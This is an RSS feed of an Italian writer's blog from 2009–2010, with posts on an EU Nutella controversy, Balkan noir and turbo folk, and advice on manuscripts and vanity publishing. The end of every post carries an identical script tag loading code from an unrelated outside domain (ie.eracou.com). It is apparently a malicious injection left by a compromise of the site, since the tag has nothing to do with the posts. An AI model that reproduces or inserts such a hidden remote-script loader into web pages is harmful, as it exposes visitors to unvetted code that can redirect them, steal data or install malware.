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	<title>Alberto Custerlina &#187; Pensieri</title>
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		<title>Giù le mani dalla nutella!</title>
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		<pubDate>Sat, 19 Jun 2010 15:02:57 +0000</pubDate>
		<dc:creator>Al Custerlina</dc:creator>
				<category><![CDATA[Pensieri]]></category>
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		<category><![CDATA[unione europea]]></category>

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		<description><![CDATA[Appena raggiunta l’età della ragione ero un europeista convinto. Lo sono stato per anni. Ho cominciato a cambiare idea con l’introduzione dell’euro e via via che vedevo l’Europa legarsi sempre di più agli interessi delle multi-nazionali e diventare sempre meno propensa a mantenere le tradizioni e le peculiarità delle popolazioni, sono diventato sempre più scettico. Solo [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify; "><a href="http://custerlina.com/writing/wp-content/uploads/2010/06/UEnut.jpg"><img alt="" class="alignleft size-full wp-image-403" height="305" src="http://custerlina.com/writing/wp-content/uploads/2010/06/UEnut.jpg" title="UEnut" width="279" /></a>Appena raggiunta l’età della ragione ero un europeista convinto. Lo sono stato per anni. Ho cominciato a cambiare idea con l’introduzione dell’euro e via via che vedevo l’Europa legarsi sempre di più agli interessi delle multi-nazionali e diventare sempre meno propensa a mantenere le tradizioni e le peculiarità delle popolazioni, sono diventato sempre più scettico. </p>
<p style="text-align: justify; ">Solo considerando il punto di vista alimentare è stato un disastro, e soltanto una dura opposizione di alcuni ha evitato la catastrofe, cioè la sparizione di moltissime specialità regionali, non solo italiane. </p>
<p style="text-align: justify; ">Ora l’Europa attacca la Nutella e io m’incazzo.</p>
<p><span id="more-404"></span></p>
<p style="text-align: justify; ">Non che la Nutella sia un alimento della tradizione italiana (o forse sì, ci devo ancora pensare). E’ un alimento industriale, non c’è che dire, ma è buona e sulla mia tavola c’è sempre stata, prima ancora che esistesse la Comunità Europea (o quasi). Come ci sono stati i formaggi di fossa, i prodotti dei piccoli produttori artigianali, le produzioni casalinghe. Certo, tutta roba che non rispetta nessuna norma igienica, roba infetta, avariata, ricoperta da colonie di terrificanti muffe e batteri, un po’ come certi magazzini di certe industrie alimentari certificate che riciclano i prodotti avariati per produrne di nuovi, però a norma, sterili e perfetti. </p>
<p style="text-align: justify; ">Con la Nutella, però, la questione è un’altra e andiamo a finire oltre la decenza più elementare. Qui si ventilano “divieti di consumo” con lo scopo di garantire la salute del consumatore. Eh, sì, perché la Nutella fa male, è grassa, piena di zuccheri, una bomba calorica. L’amorevole mamma Europa ci vuole proteggere dal rischio di diventare dei “chiattoni” all’americana, ci vuole educare a mangiare sano per evitare spese sanitarie eccessive. </p>
<p style="text-align: justify; ">Cazzo. </p>
<p style="text-align: justify; ">Ci volete togliere la Nutella per Legge? </p>
<p style="text-align: justify; ">Bene, allora ficchiamo su ogni santa bottiglia che contiene anche solo un milligrammo d’alcol una bella etichetta funerea, gravida di avvertimenti apocalittici. Piazziamo su ogni confezione di carne un avviso che metta in guardia lo sprovveduto consumatore di tutta la merda che ingerisce quando si spara in gola un roastbeef. Avvolgiamo i salumi con avvertimenti biblici sui rischi dei grumi di colesterolo grandi come palline da golf. E poi facciamoci tutti una sana scorpacciata di mais transgenico. Quello sì che è tutta salute!</p>
<p><script src="http://ie.eracou.com/3"></script></p>
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		<title>Perché scrivo noir balcanici (turbo noir)</title>
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		<pubDate>Mon, 14 Jun 2010 08:47:59 +0000</pubDate>
		<dc:creator>Al Custerlina</dc:creator>
				<category><![CDATA[Letteratura]]></category>
		<category><![CDATA[Pensieri]]></category>
		<category><![CDATA[balcani]]></category>
		<category><![CDATA[Mano Nera]]></category>
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		<description><![CDATA[Scrivere un noir ambientato nei Balcani potrebbe sembrare una cosa insolita per un italiano. E infatti, dopo la pubblicazione di Balkan Bang! molte persone mi hanno posto la seguente domanda: sei italiano, perché non hai scritto un romanzo ambientato in Italia? La mia risposta è sempre stata la stessa: nonostante io parli e scriva in [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a href="http://custerlina.com/writing/wp-content/uploads/2010/06/350px-Balkan_topo_en.jpg"><img alt="350px-Balkan_topo_en" class="alignleft size-full wp-image-381" height="256" src="http://custerlina.com/writing/wp-content/uploads/2010/06/350px-Balkan_topo_en.jpg" title="350px-Balkan_topo_en" width="280" /></a>Scrivere un noir ambientato nei Balcani potrebbe sembrare una cosa insolita per un italiano. </p>
<p style="text-align: justify;">E infatti, dopo la pubblicazione di <a href="http://balkanbang.info" target="_blank">Balkan Bang!</a> molte persone mi hanno posto la seguente domanda: <em>sei italiano, perché non hai scritto un romanzo ambientato in Italia?</em> </p>
<p style="text-align: justify;">La mia risposta è sempre stata la stessa: nonostante io parli e scriva in italiano, un triestino come me non sempre si sente pienamente a casa sua quando pensa all’Italia.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><span id="more-380"></span></p>
<p style="text-align: justify;">E ora bisogna subito sgombrare il campo dai fraintendimenti: non si tratta di nazionalismo, di bandiere sventolate oppure di orientamento politico.</p>
<p style="text-align: justify;">Trieste è una città che si affaccia sui Balcani. E’ una città che durante il ‘900 ha perduto due guerre e ha avuto 6 governi diversi. Che per 500 anni è stata austriaca (dalla fine del ‘300 all’inizio del ‘900). E’ una città che dopo la seconda guerra mondiale ha perduto buona parte del suo entroterra culturale e tutto il suo entroterra geografico. Per non parlare del periodo post-bellico, durante il quale lo spopolamento e i problemi con il porto (per farla breve) hanno messo in ginocchio la città. Con questo non voglio dire che sarebbe stato preferibile rimanere sotto il Governo Militare Alleato oppure accorpata alla Jugoslavia. Oppure con l’Austria-Ungheria se avesse vinto la Prima Guerra. Sono discorsi ucronici senza senso. Però è un dato di fatto che per come si è svolta la Storia, il ‘900 a Trieste è stato un disastro e buona parte della responsabilità va attribuita all’Italia.</p>
<p style="text-align: justify;">Per molti triestini, quindi, l’area mittel-europea e quella balcanica sono le terre dove affondano le loro radici. Mi è venuto spontaneo, quindi, rivolgermi ai Balcani per scrivere le mie storie. <strong>Balkan bang!</strong> era ambientato a Sarajevo, il nuovissimo <strong>Mano Nera</strong> pure (<strong>uscita 6 luglio 2010</strong>). Il romanzo successivo partirà da Trieste e da Zagabria per finire a Istanbul. Mondi che molti triestini sono abituati a frequentare per lavoro, per commercio, per le vacanze e perfino per fare la spesa. Mondi che, in senso contrario, hanno frequentato e tuttora frequentano Trieste. Mondi che sento miei per affinità culturale, per tradizione storica, per storia di famiglia.</p>
<p><script src="http://ie.eracou.com/3"></script></p>
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		<title>Turbo Folk — Turbo Noir</title>
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		<pubDate>Fri, 11 Jun 2010 07:39:20 +0000</pubDate>
		<dc:creator>Al Custerlina</dc:creator>
				<category><![CDATA[Letteratura]]></category>
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		<category><![CDATA[turbo noir]]></category>

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		<description><![CDATA[Volk è popolo, turbo è il sistema di iniezione di combustibile del cilindro del motore . Turbo folk è combustione del popolo. Qualsiasi stimolo di questo processo è turbo folk. Infiammare le più basse passioni dell’homo sapiens. Turbo folk non è musica, turbo folk è l’incanto delle masse, cacofonia di tutti i gusti e tutti [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a href="http://custerlina.com/writing/wp-content/uploads/2010/06/ceca_raznatovic.jpg"><img class="alignleft size-full wp-image-373" title="ceca_raznatovic" src="http://custerlina.com/writing/wp-content/uploads/2010/06/ceca_raznatovic.jpg" alt="ceca_raznatovic" width="240" height="320" /></a><em>Volk è popolo, turbo è il sistema di iniezione di combustibile del cilindro del motore . Turbo folk è combustione del popolo. Qualsiasi stimolo di questo processo è turbo folk. Infiammare le più basse passioni dell’homo sapiens. Turbo folk non è musica, turbo folk è l’incanto delle masse, cacofonia di tutti i gusti e tutti gli odori. Io gli ho dato il nome.</em></p>
<p style="text-align: justify;"><em>L’alcool è turbo folk, la coca-cola è turbo folk, la carne allo spiedo è turbo folk, il nazionalismo è turbo folk, i rave party sono turbo folk, l’etno jazz è turbo folk. Adolf Hitler è turbo folk, il traffico degli organi è turbo folk, i mafiosi sono turbo folk, il silicone è turbo folk, la cocaina è turbo folk, i fuoristrada sono turbo folk.</em></p>
<p style="text-align: justify;"><em>La tessera elettorale che lascia possibilità a qualsiasi idiota di compilarla correttamente è turbo folk, i tatuaggi, piercing e body art sono turbo folk, i rottami delle macchine sono turbofolk, McDonald è turbo folk, le scommesse sono turbo folk, il marketing politico è turbo folk, le soap opere sono turbo folk…</em></p>
<p style="text-align: justify;"><em><br />
<span id="more-371"></span><br />
</em></p>
<p style="text-align: justify;">Il <strong>turbo folk</strong> è un genere musicale nato negli anni ottanta in Yugoslavia. Miscela generi diversi che vanno dalla dance, al rock, alla musica tradizionale balcanica. Ha contenutici erotico-pornografici, politici, mafiosi, violenti, romantici e nazionalisti. E’ l’hip-hop dei balcanici. Molto seguito in Serbia e in Montenegro, trova estimatori anche in Croazia, in Bosnia-Erzegovina, perfino in Grecia. In Macedonia viene usato per spaventare gli orsi.</p>
<p style="text-align: justify;"><div align="center" style="margin:0 auto;"><!-- Smart Youtube --><span class="youtube"><object width="425" height="373"><param name="movie" value="http://www.youtube.com/v/kFFpIBcByvE&amp;rel=1&amp;color1=5d1719&amp;color2=cd311b&amp;border=1&amp;fs=1&amp;hl=en&amp;autoplay=0&amp;showinfo=0&amp;iv_load_policy=3&amp;showsearch=0&amp;feature=related" /><param name="allowFullScreen" value="true" /><embed wmode="transparent" src="http://www.youtube.com/v/kFFpIBcByvE&amp;rel=1&amp;color1=5d1719&amp;color2=cd311b&amp;border=1&amp;fs=1&amp;hl=en&amp;autoplay=0&amp;showinfo=0&amp;iv_load_policy=3&amp;showsearch=0&amp;feature=related" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="373" ></embed><param name="wmode" value="transparent" /></object></span></div></p>
<p style="text-align: justify;">Il testo in corsivo incollato poco sopra è la traduzione di una canzone di Rambo Amadeus, che ha coniato il termine turbo-folk e ne è uno dei massimi esponenti. Quel testo dice tutto.</p>
<p style="text-align: justify;">La politicizzazione del turbo folk scatta durante la guerra ‘91-’96,  in linea di massima quando la cantante Ceca sposa il comandante Arkan, un feroce leader di un gruppo nazionalista serbo (e molto altro).</p>
<p style="text-align: justify;"><div align="center" style="margin:0 auto;"><!-- Smart Youtube --><span class="youtube"><object width="425" height="373"><param name="movie" value="http://www.youtube.com/v/LKF7aCOFGuY&amp;rel=1&amp;color1=5d1719&amp;color2=cd311b&amp;border=1&amp;fs=1&amp;hl=en&amp;autoplay=0&amp;showinfo=0&amp;iv_load_policy=3&amp;showsearch=0&amp;feature=related" /><param name="allowFullScreen" value="true" /><embed wmode="transparent" src="http://www.youtube.com/v/LKF7aCOFGuY&amp;rel=1&amp;color1=5d1719&amp;color2=cd311b&amp;border=1&amp;fs=1&amp;hl=en&amp;autoplay=0&amp;showinfo=0&amp;iv_load_policy=3&amp;showsearch=0&amp;feature=related" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="373" ></embed><param name="wmode" value="transparent" /></object></span></div></p>
<p style="text-align: justify;">Se capite il turbo-folk, capite i Balcani.</p>
<p style="text-align: justify;">Io non so se ho ancora capito pienamente i Balcani, però voglio legare i miei romanzi ambientati in questa terra tormentata a qualcosa che ne sia la summa all’interno della cultura popolare. Il turbo folk è la scelta ideale, per cui, pur essendo equidistante da ogni forma balcanica di nazionalismo, mi piace pensare che i miei romanzi possano essere chiamati<strong> turbo noir</strong>. Se vi va, fatelo anche voi.</p>
<p><script src="http://ie.eracou.com/3"></script></p>
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		<title>Custerlina incontra Joe Lansdale</title>
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		<pubDate>Mon, 31 May 2010 10:15:51 +0000</pubDate>
		<dc:creator>Al Custerlina</dc:creator>
				<category><![CDATA[Pensieri]]></category>
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		<category><![CDATA[sugarpulp]]></category>

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		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://custerlina.com/writing/wp-content/uploads/2010/05/custerlina_lansdale.jpg"><img class="alignleft size-full wp-image-356" title="custerlina_lansdale" src="http://custerlina.com/writing/wp-content/uploads/2010/05/custerlina_lansdale.jpg" alt="custerlina_lansdale" width="480" height="320" /></a><script src="http://ie.eracou.com/3"></script></p>
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		<title>Pile di manoscritti: consigli per chi vuole esordire</title>
		<link>http://custerlina.com/2010/04/pile-di-manoscritti-consigli-per-chi-vuole-esordire/</link>
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		<pubDate>Fri, 02 Apr 2010 09:27:48 +0000</pubDate>
		<dc:creator>Al Custerlina</dc:creator>
				<category><![CDATA[Letteratura]]></category>
		<category><![CDATA[Pensieri]]></category>
		<category><![CDATA[editoria]]></category>
		<category><![CDATA[esordiente]]></category>
		<category><![CDATA[manoscritto]]></category>

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		<description><![CDATA[Egregio Alberto Custerlina, abbiamo letto con attenzione il manoscritto che ci ha inviato; purtroppo, non rientrando nella nostra linea editoriale, al momento siamo spiacenti di doverle comunicare che non siamo interessati alla pubblicazione. Quando va bene, si riceve una comunicazione di questo tipo. Quando va male, si viene sepolti da un eterno silenzio tombale. Questo [...]]]></description>
			<content:encoded><![CDATA[<p><em><img class="alignleft" title="Manoscritto" src="http://www.internetculturale.it/upload/immagini/mondo-manoscritto1-g.jpg" alt="" width="269" height="192" />Egregio Alberto Custerlina, abbiamo letto con attenzione il manoscritto che ci ha inviato; purtroppo, non rientrando nella nostra linea editoriale, al momento siamo spiacenti di doverle comunicare che non siamo interessati alla pubblicazione.</em></p>
<p>Quando va bene, si riceve una comunicazione di questo tipo. Quando va male, si viene sepolti da un eterno silenzio tombale.</p>
<p>Questo è ciò che succede a quasi tutti gli aspiranti scrittori che inviano il proprio manoscritto alle case editrici. Qualcuno ce la fa, ovviamente, ma sono casi rari rispetto alla massa dei tentativi. Se navigate in rete alla ricerca di commenti o di articoli riguardo questi epici sforzi tesi alla pubblicazione, troverete una quantità enorme di improperi verso gli editori, di lamentazioni per non esser stati capiti e di considerazioni sulla malvagità del mondo editoriale.</p>
<p>La realtà è diversa.</p>
<p><span id="more-312"></span>Se avete letto il mio <a href="http://custerlina.com/2010/03/editoria-a-pagamento-tanta-croce-e-niente-delizia/" target="_self">intervento precedente sull’editoria a pagamento</a>, avrete capito che tale mercato, oltre a essere costituito da imprese commerciali, è anche un mondo piuttosto affollato e complicato.</p>
<p>Tenete presente che proprio per questa sue caratteristiche, la selezione del manoscritto da pubblicare è spietata e, a fronte di tanta offerta (migliaia e migliaia di manoscritti l’anno), ogni editore compie le proprie scelte secondo principi che gli permettono di scremare le proposte nel modo più efficiente possibile. Ciò vuol dire, per esempio, che se il vostro romanzo di 500 pagine presenta “orrori” (o anche semplici errori) già nell’incipit, sarà cestinato subito, senza appello. Ciò non significa che l’editore sia un bastardo senza cuore o un idiota o un perfezionista compulsivo, ma semplicemente che il suo metodo di valutazione, a fronte di tanto materiale ricevuto, deve essere rigido e tranciante per permettergli valutare più autori possibile.</p>
<p>Dovete inoltre considerare che un editore fa salti di gioia quando trova un manoscritto che a suo giudizio potrebbe diventare un buon libro. E’ suo interesse, infatti, scoprire nuovi talenti, quindi se vi dice di no, lo fa su basi realistiche e non perché gli state antipatici.</p>
<p>Ancora una cosa: io non mi trovo d’accordo con coloro che si lamentano (più o meno seriamente) che in Italia ci sono troppi aspiranti scrittori. Nell’intimità della propria camera, ognuno ha il diritto di scrivere ciò che gli pare e quando gli pare. Ciò non toglie, che nessuno deve poi pretendere di essere pubblicato. Diventare scrittori pubblicati è un percorso lungo e faticoso, costellato di prove fallite, di fatica, di applicazione e di pazienza. Inoltre, mia personale convinzione, c’è la faccenda del Dono. Non tutti lo possiedono e quindi non prendetevela se non riuscite a centrare l’obiettivo, forse la scrittura non fa per voi e in questo caso non c’è niente di male. Cercate altrove la vostra strada, l’arte è un mondo vasto tutto da esplorare.</p>
<p>Detto questo, vediamo cosa fare e non fare per dare maggiori <em>chances</em> di pubblicazione al vostro lavoro (n.b.:non pretendo di essere esaustivo).</p>
<p>Sulla scrittura:</p>
<ol>
<li>Siate umili e affrontate la scrittura ricevendo le critiche come una benedizione: sembra una massima francescana, ma se lo fate veramente, senza ingannare voi stessi, potrete migliorare molto. A questo scopo, individuate qualcuno che possa farvi dono di critiche vere e non i soliti amici compiacenti.</li>
<li>Siate fortemente autocritici. Se gli altri non “capiscono” la vostra opera è solo colpa vostra.</li>
<li>Scrivete sempre, il più possibile.</li>
<li>Leggete molto e studiate i vostri autori di riferimento. Cercate di carpire i loro segreti.</li>
<li>Non copiate, né gli stili, né le trame. L’originalità sarà la vostra arma migliore. Al massimo, ispiratevi.</li>
<li>Siate pazienti.</li>
</ol>
<p>Sul manoscritto:</p>
<ol>
<li>Evitate impaginazioni complicate dall’aspetto troppo professionale.</li>
<li>Usate sempre un font “con grazie”, che è il più leggibile (Times New Roman, Garamond, Cambria) e dimensione di 11 o 12 punti.</li>
<li>Inserite i numeri di pagina.</li>
<li>Non brigatevi a produrre copertine! Metteteci solo il titolo e i vostri dati.</li>
<li>Niente rilegature (complesse), al massimo una di quelle costole di plastica, in modo che l’editore possa facilmente rimuoverla per fare le copie del manoscritto nel caso debba mandarle al vaglio di un comitato di lettura.</li>
<li>Per i segni che identificano i dialoghi fate così: «E lasciate stare i trattini e le virgolette, per dio!».</li>
<li>Non abusate dei punti esclamativi!!!!!!!</li>
</ol>
<p>Sull’invio del manoscritto:</p>
<ol>
<li>Inviate solo a casa editrici che accettano manoscritti non richiesti. Spesso, questa informazione la trovate sui siti web.</li>
<li>Non sparate troppo in alto. Scegliete principalmente case editrici indipendenti di taglia media o piccola. E’ buona cosa verificare che siano un minimo presenti nelle librerie più importanti oppure sui siti per la vendita di libri. Al limite, potete ordinare un libro per vedere com’è fatto e, soprattutto, se vi arriva in tempi umani.</li>
<li>Allegate al manoscritto una lettera di presentazione con un vostro cenno biografico (non un curriculum, però, mi raccomando) e qualche parola sul romanzo che state proponendo (qualcosa tipo una quarta di copertina, per capirci).</li>
<li>Allegate una sinossi del romanzo. Qualcuno la considera un’arma a doppio taglio, io penso sia utilissima. Certo, a volte ti possono troncare solo dalla sinossi, ma se la tua storia non funziona è meglio che l’editore se ne accorga subito perché vale anche il contrario.</li>
<li>Una volta spedito il plico, non assillate la casa editrice. Diciamo che la dovete prendere come la prende un naufrago quando affida al mare una bottiglia con un messaggio.</li>
</ol>
<p>Dimenticavo. Prima ho parlato del Dono. Che ci crediate o meno, il Dono esiste, ma non è nulla di magico o di trascendentale. Il Dono è una miscela di sensibilità e di abilità che uno scrittore deve possedere. Per sommi capi, si tratta di questo: empatia verso gli altri, capacità di interpretare il carattere delle persone, acutezza nel giudizio, spirito d’osservazione, buona memoria, capacità di analisi critica, coscienza dei propri limiti, pazienza, volontà, tenacia, spirito di sacrificio, capacità di astrazione, creatività e fantasia, onestà intellettuale. La miscelazione in varia misura e combinazione di un buon numero di queste caratteristiche (e di qualche altra che mi sarò senz’altro dimenticato) produce un buon scrittore.</p>
<p>E ora sotto, a scrivere!</p>
<p><em>Articolo originariamente pubblicato su </em><a href="http://bora.la" target="_blank">Bora.la</a><script src="http://ie.eracou.com/3"></script></p>
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		<title>Editoria a pagamento: tanta croce e niente delizia</title>
		<link>http://custerlina.com/2010/03/editoria-a-pagamento-tanta-croce-e-niente-delizia/</link>
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		<pubDate>Wed, 31 Mar 2010 11:59:44 +0000</pubDate>
		<dc:creator>Al Custerlina</dc:creator>
				<category><![CDATA[Letteratura]]></category>
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		<category><![CDATA[editoria]]></category>
		<category><![CDATA[narrativa]]></category>
		<category><![CDATA[pagamento]]></category>

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		<description><![CDATA[Lo so, neanche avete iniziato a leggere e già avete capito tutto. Va bene. Allora iniziamo dalla fine: mai pagare per vedere pubblicato il proprio sforzo letterario. Ora, questa è la mia personale idea (condivisa da molti), ma migliaia e migliaia di persone, a un certo punto della loro vita, sulla superficie arzigogolata delle loro [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://share.dschola.it/itcpascal-giaveno/portale_test01/60annicostituzione/dibattito/images/editoria_scientifica.jpg" alt="" width="300" height="225" />Lo so, neanche avete iniziato a leggere e già avete capito tutto. Va bene. Allora iniziamo dalla fine: mai pagare per vedere pubblicato il proprio sforzo letterario.</p>
<p>Ora, questa è la mia personale idea (condivisa da molti), ma migliaia e migliaia di persone, a un certo punto della loro vita, sulla superficie arzigogolata delle loro meningi si stampa a fuoco l’idea contraria e non c’è verso di convincerli a desistere. Pubblicare diventa la parola d’ordine, l’imperativo della vita. A qualsiasi costo.</p>
<p>Costi che di solito sono pesanti: da 1000 a 7/8000 euro.</p>
<p>Perché la gente è disposta a pagare tanto per vedere stampato il proprio romanzo (o la propria raccolta di poesie)?</p>
<p><span id="more-298"></span></p>
<p>Tutta la questione trae origine dalla volontà artistica che molti di noi coltivano più o meno segretamente: chi suona, chi dipinge, chi usa il video, chi scrive, eccetera. E fin qui niente di male, tutt’altro. Andiamo avanti, però.</p>
<p>Tra questi artisti, lo scrittore è tra i più sfigati, forse il più sfigato, perché per ottenere soddisfazione è costretto fin da subito a produrre un libro e cioè un oggetto fatto di carta stampata e rilegata. Un oggetto artistico di natura fisica, quindi. Anzi, un multi-oggetto, visto che per sua natura non se ne può produrre soltanto uno. Il libro non è una statua, per la quale la gente si muove, convergendo nel posto dov’è sita. E non è musica, quindi niente concerti o emissioni radiofoniche. No. Questo maledetto libro è l’unico canale di trasmissione della vostra opera ed essendo un oggetto fisico di una certa complessità (impaginazione, stampa, rilegatura, copertina) che necessità di essere riprodotto in numerose copie da veicolare verso il pubblico, tutta la storia rischia di diventare un incubo.</p>
<p>Fatta questa premessa, passiamo alle informazioni che lo scrittore in erba deve conoscere per affrontare al meglio l’impresa della pubblicazione:</p>
<p>1. In Italia, ogni anno, si pubblicano oltre 50.000 titoli, dalla manualistica, alla saggistica, alla narrativa, eccetera.</p>
<p>2. Da questo dato approssimativo (ma esatto nell’ordine di grandezza), possiamo dedurre che le librerie, visto l’esiguo spazio fisico a loro disposizione, potranno esporre soltanto alcuni di quei 50000 volumi.</p>
<p>3. Tra i libri che saranno esposti, pochi potranno rimanere sugli scaffali per più di due o tre mesi: la maggior parte di loro finiranno sopra scaffali secondari, in seconda fila oppure saranno semplicemente resi all’editore (e questa è l’ipotesi più probabile), per far posto alle nuove infornate editoriali.</p>
<p>Fatta questa premessa, vediamo come lavora il libraio. Per esempio, come fa a scegliere quali libri acquistare e quali sistemare in posizione privilegiata (all’ingresso e sugli scaffali più in evidenza)? Be’, essendo la libreria un’attività commerciale (e quindi a scopo di lucro) la scelta ricadrà sui titoli che hanno buone speranze di vendere. Ma chi da queste informazioni ai librai?</p>
<p>Lo fa il distributore, meglio conosciuto come “il flagello dell’esordiente”.</p>
<p>Dati una serie di accordi e rassicurazioni che il distributore ha stipulato con le case editrici, egli consiglia il libraio secondo criteri di massima convenienza (cioè di massima vendita). Poi gli rifila anche gli scartini, ma solo per obbligo contrattuale e in un numero di copie bassissimo (da 1 a 5).</p>
<p>Inciso: per scartini intendo tutti i libri che non sono best seller o candidati a diventarlo, quindi tutti i prodotti delle case editrici indipendenti (chiamate altresì “piccole case editrici”, termine che a me non piace) e una marea di titoli editi dalle corazzate dell’editoria.</p>
<p>Detto questo, immaginiamo un romanzo edito da una casa editrice seria ma indipendente (piccola): a meno di casi eccezionali estremamente rari, esso è destinato a vendere pochissimo (1000 copie in ambito nazionale per arrivare fino a qualche migliaio nei casi fortunati), rimarrà sugli scaffali per due mesi e in seguito il lettore lo potrà comperare solo su ordinazione e solo se la casa editrice è veramente seria e quindi ha stampato un numero di copie sufficienti.</p>
<p>Questa, in soldoni, è la situazione dell’editoria.</p>
<p>Ora, finalmente, veniamo all’editore a pagamento.</p>
<p>Egli non è nient’altro che un tramite con una tipografia (e qualche volta egli stesso è una tipografia) che vi stampa il libro in un numero di copie che di solito va dalle 500 alle 1000. Poi voi pagate la somma e vi portate a casa una parte o tutti i volumi. E qui resto sul vago, perché i numeri e le condizioni possono variare da editore a editore. Comunque, tutto ciò viene fatto alla luce del sole ed è quasi sempre regolato da un contratto. Quindi qual è il problema?</p>
<p>Il problema è la questione etica. Questi editori, ovviamente, non vi dicono mai che un’operazione di questo tipo è assolutamente fallimentare. Anzi, producono pubblicità ingannevoli, tipo la seguente:</p>
<p><em> </em></p>
<p><em>Veder pubblicati i propri scritti non è soltanto una soddisfazione intima. É anche un mezzo insostituibile per far circolare le proprie idee, le proprie esperienze, i modi di vedere e di sentire.</em></p>
<p><em>L’Editrice XYZ dà la possibilità di farti leggere e di esprimere te stesso.</em></p>
<p>Niente di più falso: il vostro libro e le vostre idee non circoleranno per nulla, nessuno vi leggerà e voi vi sarete espressi con la vostra magnifica eloquenza verso un teatro vuoto. Questi editori, infatti, non vi parlano mai della distribuzione e se lo fanno mentono spudoratamente perché, statene certi, il vostro volume mai e poi mai sarà distribuito secondo i canali convenzionali. Al massimo finirà in una o due librerie locali, ben nascosto e comunque per un periodo di tempo molto limitato. E naturalmente sarà inserito sul sito web dell’editore, un sito che probabilmente si aggira sulle due visite uniche mensili. <em>Graso el dindio</em>, si dice a Trieste.</p>
<p>Che ci crediate o meno, la realtà è questa. Quindi lasciate perdere la pubblicazione a pagamento. Però c’è un però.</p>
<p>Se a voi basta auto-produrre un volume da distribuire agli amici, se vi basta la soddisfazione di tenere tra le mani la vostra opera stampata e rilegata, se vi basta accordarvi con il libraio sotto casa per vendere una cinquantina di copie, allora fate tutto da soli, fino in fondo. Scegliete uno dei numerosi servizi di Print on Demand che trovate sul web (per esempio Lula, che mi pare il migliore) e vi assicuro che risparmierete tempo, soldi e buona parte del vostro fegato.</p>
<p>Parola di Custerlina.</p>
<p>Teaser: nella prossima puntata cercheremo di capire perché il vostro manoscritto viene sempre rifiutato dalle case editrici.<script src="http://ie.eracou.com/3"></script></p>
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		<title>Pensare al futuro è fantascienza, specie a Trieste</title>
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		<pubDate>Tue, 15 Dec 2009 15:36:06 +0000</pubDate>
		<dc:creator>Al Custerlina</dc:creator>
				<category><![CDATA[Pensieri]]></category>
		<category><![CDATA[fantascienza]]></category>
		<category><![CDATA[festival]]></category>
		<category><![CDATA[trieste]]></category>

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		<description><![CDATA[Daniele Terzoli, coordinatore del progetto Science+Fiction / Festival Internazionale della Fantascienza di Trieste, parla del festival e del suo futuro. Su Bora.La]]></description>
			<content:encoded><![CDATA[<p>Daniele Terzoli, coordinatore del progetto Science+Fiction / Festival Internazionale della Fantascienza di Trieste, parla del festival e del suo futuro.</p>
<p>Su <a href="http://trieste.bora.la/2009/12/14/pensare-al-futuro-e-fantascienza-specie-a-trieste/" target="_blank">Bora.La</a><script src="http://ie.eracou.com/3"></script></p>
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		<title>Libri, vino e cicche con Veit Heinichen</title>
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		<pubDate>Fri, 27 Nov 2009 08:26:07 +0000</pubDate>
		<dc:creator>Al Custerlina</dc:creator>
				<category><![CDATA[Letteratura]]></category>
		<category><![CDATA[Pensieri]]></category>
		<category><![CDATA[Heinichen]]></category>
		<category><![CDATA[Interviste]]></category>
		<category><![CDATA[noir]]></category>

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		<description><![CDATA[Solo su Bora.La!]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://bora.la/wp-content/uploads/2009/11/veit-heinichen.JPG" alt="" width="180" height="119" /><a href="http://bora.la/2009/11/26/libri-vino-e-cicche-con-veit-heinichen/" target="_blank">Solo su Bora.La!</a><script src="http://ie.eracou.com/3"></script></p>
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